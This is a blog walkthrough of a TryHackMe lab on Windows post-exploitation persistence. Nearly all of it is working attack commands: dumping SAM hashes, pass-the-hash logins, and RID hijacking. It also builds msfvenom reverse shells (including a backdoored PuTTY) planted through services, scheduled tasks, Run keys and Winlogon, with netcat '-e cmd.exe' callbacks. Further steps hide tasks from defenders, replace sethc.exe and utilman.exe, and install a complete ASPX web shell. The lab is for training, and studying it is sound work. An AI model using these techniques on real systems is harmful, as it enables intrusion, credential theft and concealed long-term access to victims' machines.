Retaining Local Persistence in Windows Operating System: A TryHackMe Guide

Retaining Local Persistence in Windows Operating System: A TryHackMe Guide


10 min read

This article is not specifically about CTFs; instead, it focuses on teaching various techniques for maintaining persistence after exploitation. In this guide, you will learn methods such as Relative ID (RID) Hijacking, planting backdoors, exploiting services, and obtaining administrative shells from the Windows login screen, among others. The content of this article is derived from the work of the author, munra, who created the Windows Local Persistence room on TryHackMe.

Tampering With Unprivileged Accounts

This article assumes that we have already extracted password hashes from a compromised machine using Mimikatz lsadump::sam. With this in mind, we can proceed to add our account to the Administrators group in order to maintain persistence.

net user thmuser0
net localgroup administrators thmuser0 /add

Adding our account to the Administrators group might arouse suspicion, so let's consider an alternative method that would still grant us read/write access without full administrative privileges. The Backup Operators group is an ideal choice, as it will enable us to retrieve both SAM and SYSTEM hives.

net localgroup "Backup Operators" thmuser1 /add

We need to add this account to either the Remote Desktop Users or Remote Management Users groups to enable remote desktop access.

net localgroup "Remote Management Users" thmuser1 /add

For the next part, we will use Evil-WinRM. Upon logging in, we notice that we cannot access all the files. This is because the Backup Operators Group is disabled.

Don't worry, we can enable it through the registry.

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Great, the Backup Operators group is now enabled.

whoami /groups

Now, let's create copies of the SAM and SYSTEM files and transfer them to our attack box.

reg save HKLM\SYSTEM system.bak
reg save HKLM\SAM sam.bak
download system.bak
download sam.bak

From here, we can extract the password hashes using Impacket's

/opt/impacket-0.9.19/examples/ -sam sam.bak -system system.bak LOCAL

Now, we can log in to the Administrator account using a pass-the-hash attack.

evil-winrm -i -u Administrator -H [REDACTED]

Let's navigate to C:\flags and retrieve our flag from flag1.exe.

Special Privileges and Security Descriptors

Special groups have limitations based on what the Operating System assigns. Privileges refer to specific tasks that can be performed on the system, ranging from low-level tasks, such as restarting the computer, to more advanced tasks, like taking ownership of a file. To assign privileges to a user, execute the following commands below.

Export current config:

secedit /export /cfg config.inf

Now, assign the user, thmuser2, both SeBackupPrivilege and SeRestorePrivilege rights.

From this point, we need to convert the .inf file into a .sdb file, allowing us to load the configuration back into the system.

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

Unfortunately, our user cannot log in via Evil-WinRM yet. We can fix this by modifying our Evil-WinRM session's security descriptor, which essentially allows thmuser2 to connect.

From PowerShell (RDP Session):

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

Now, add thmuser2 and grant them full privileges to connect via Evil-WinRM:

Our user account is now configured to connect via Evil-WinRM. Furthermore, examining the user's group memberships reveals nothing out of the ordinary, which will aid in maintaining persistence.

net user thmuser2

From here, we can log in using Evil-WinRM and obtain our second flag:

evil-winrm -i -u thmuser2 -p Password321

RID Hijacking

Another method to gain administrative privileges without actually being an administrator involves modifying registry values. When a user is created, they are assigned an identifier called the RID, which is universally recognized across the system. Upon login, the LSASS process retrieves the RID from the SAM registry and assigns a token based on the granted permissions. This is where we can manipulate the registry value to make Windows assign a specified user with an administrative access token.

By default, Windows configurations assign administrator accounts with RID 500. Regular accounts typically have RID values greater than or equal to 1000.

Command to find RIDs for users:

wmic useraccount get name,sid

As a proof of concept, we will assign RID 500 to the user3. To achieve this, we need to access the SAM using Regedit; however, SAM is restricted to the SYSTEM, which means Administrators cannot edit it. We can work around this limitation by using PsExec, which is a part of Sysinternals.

.\PsExec64.exe -i -s regedit

In Regedit, navigate to HKLM\SAM\SAM\Domains\Account\Users\ to locate the key for user3 and modify the RID. Search for a key with the hexadecimal value 0x3F2, which corresponds to 1010. Change the bytes F2 03 to F4 01, representing RID 500.

Log in via RDP using the user3 account and retrieve flag3.exe.

Backdooring Files

To create a backdoored PuTTY.exe using msfvenom, follow this method.


msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp LHOST= LPORT=1337 -b "\x00" -f exe -o puttyX.exe

Additionally, we can create a reverse shell by attaching a PowerShell script to the shortcut or target area of a legitimate program.

Start-Process -NoNewWindow "C:\tools\nc64.exe" "-e cmd.exe 1337"

Adjust the target area using this shortcut:

powershell.exe -WindowStyle hidden C:\Windows\System32\script.ps1

Now, we want to initiate a Netcat listener in order to capture the shell.

rlwrap -cAr nc -lvnp 1337

Execute the shortcut:

Grab flag5.exe from here.

Abusing Services

We can create a backdoor in system services using the following methods.

sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

This essentially changes the password of the Administrator user to Passwd123. Additionally, we can also create a reverse shell using msfvenom and associate it with the service we created.

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=1337 -f exe-service -o rev-svc.exe

Upload using Evil-WinRM:

Assign the executable as a service, configure the listener to intercept the shell, and then initiate the service:

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto

rlwrap -cAr nc -lvnp 1337

sc.exe start THMservice2

Grab flag7.exe.

Modifying Existing Services

Considering that blue teams will be monitoring newly created services, we should avoid doing so and instead incorporate a backdoor into an existing service. A suitable method for this is to modify a legitimate, yet disabled, service. We can search for these by typing:

sc.exe query state=all

There is a stopped service called THMService3.

When altering an existing service, it is important to modify these three parameters:

  1. BINARY_PATH_NAME = point to our payload

  2. START_TYPE = auto

  3. SERVICE_START_NAME = set to LocalSystem to help us maintain SYSTEM priv

Let's create a new reverse shell for this process.

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=1337 -f exe-service -o rev-svc2.exe

Now, we want to upload the file using Evil-WinRM:

Reconfigure the THMService3 parameters:

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

Check the service once more to confirm that the parameters have been correctly configured:

sc.exe qc THMservice3

As previously, set up the Netcat listener to capture the shell:

Grab flag8.exe from here.

Abusing Scheduled Tasks

We can create a scheduled task that executes a reverse shell every minute. Keep in mind that we wouldn't want this to occur as frequently as one minute; however, for the sake of time, we will do it for this room.

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "C:\tools\nc64 -e cmd.exe 1337" /ru SYSTEM
  • -sc = schedule

  • -mo = minute

  • -ru = run

Let's verify that our task has been scheduled properly:

schtasks /query /tn thm-taskbackdoor

After scheduling the task to run every minute, we receive a callback from our listener:

This is excellent, but it can be detected rather effortlessly. Let's conceal the task by removing its Security Descriptor (SD). An SD is an Access Control List (ACL) that determines which users have access to the scheduled task. If a user isn't assigned to the ACL, they won't be able to view the task. We will need to use PsExec to modify the system registry and delete the SD.

C:\tools\pstools\PsExec64.exe -s -i regedit

Confirm that it has been deleted:

schtasks /query /tn thm-taskbackdoor

Grab flag9.exe.

Logon Triggered Persistence

We can insert backdoors into the Windows OS Startup Folder.

Specific User:

C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

All Users:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Let's create a reverse shell payload:

msfvenom -p /windows/x64/shell_reverse_tcp LHOST= LPORT=1337 -f exe -o revshell.exe

Upload it:

Move it to the startup folder:

copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

Log back into the RDP session and obtain the callback.

Grab flag10.exe.

You can also force a user to execute a program upon login through the registry. Rather than placing your payload in a particular directory, you can utilize the following registry entries to designate applications to run at login:


The registry entries under HKCU apply only to the current user, while those under HKLM apply to everyone. Programs specified under the Run keys will execute each time the user logs in. Conversely, programs specified under the RunOnce keys will be executed only once.

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=1337 -f exe -o revshell.exe

Upload the file as usual and then move it to C:\Windows. After that, we need to create a REG_EXPAND_SZ registry entry under:


Log in, and capture the shell using Netcat, and grab flag11.exe.


Another way to automatically start a program upon login is by using the Winlogon component. This essentially loads Windows profiles once the credentials have been authenticated.

Winlogon utilizes registry keys located at:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
  • Userinit points to userinit.exe, which is responsible for restoring user profile preferences upon login.

  • shell points to the operating system's shell, which is commonly explorer.exe.

Create a shell, upload it, and then transfer it to C:\Windows. After that, modify the Userinit registry value to incorporate C:\Windows\revshell.exe.

Sign out and then sign back in, and capture the shell using Netcat. Grab flag12.exe from here.

Logon Scripts

Just like before, generate a payload and transfer it using Evil-WinRM. From there, create an environment variable for a user.

Set up the Netcat listener, log out and then log back in to capture the shell. Grab flag13.exe from here.

Backdooring the Login Screen Using Stickykeys

The following steps can be taken to create a backdoor on the Windows login screen using Stickykeys.

takeown /f C:\Windows\System32\sethc.exe

icacls C:\Windows\System32\sethc.exe /grant Administrator:F

copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

Grab flag14.exe:

Backdooring the Login Screen Using Utilman

The following steps can be taken to create a backdoor on the Windows login screen using Utilman.

takeown /f C:\Windows\System32\utilman.exe

icacls C:\Windows\System32\utilman.exe /grant Administrator:F

copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Grab flag15.exe:

Persisting Through Existing Services

One way to maintain persistence is by uploading a web shell to the web server. We can create an .aspx shell and save it in the C:\inetpub\wwwroot directory.

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
string ExcuteCmd(string arg)
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
return s;
void cmdExe_Click(object sender, System.EventArgs e)
<title>awen webshell</title>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>

<!-- Contributed by Dominic Chell ( -->
<!--   04/2007    -->

From your browser, navigate to: http://<IP_HERE>/shell.aspx

Grab flag16.exe:


In this article, we explore various techniques for maintaining persistence after exploitation, including Relative ID (RID) Hijacking, planting backdoors, exploiting services, and obtaining administrative shells from the Windows login screen. We discuss methods to tamper with unprivileged accounts, assign special privileges and security descriptors, and abuse scheduled tasks and services. Additionally, we cover backdooring the login screen using Stickykeys and Utilman, as well as persisting through existing services.

Did you find this article valuable?

Support Jake Garrison by becoming a sponsor. Any amount is appreciated!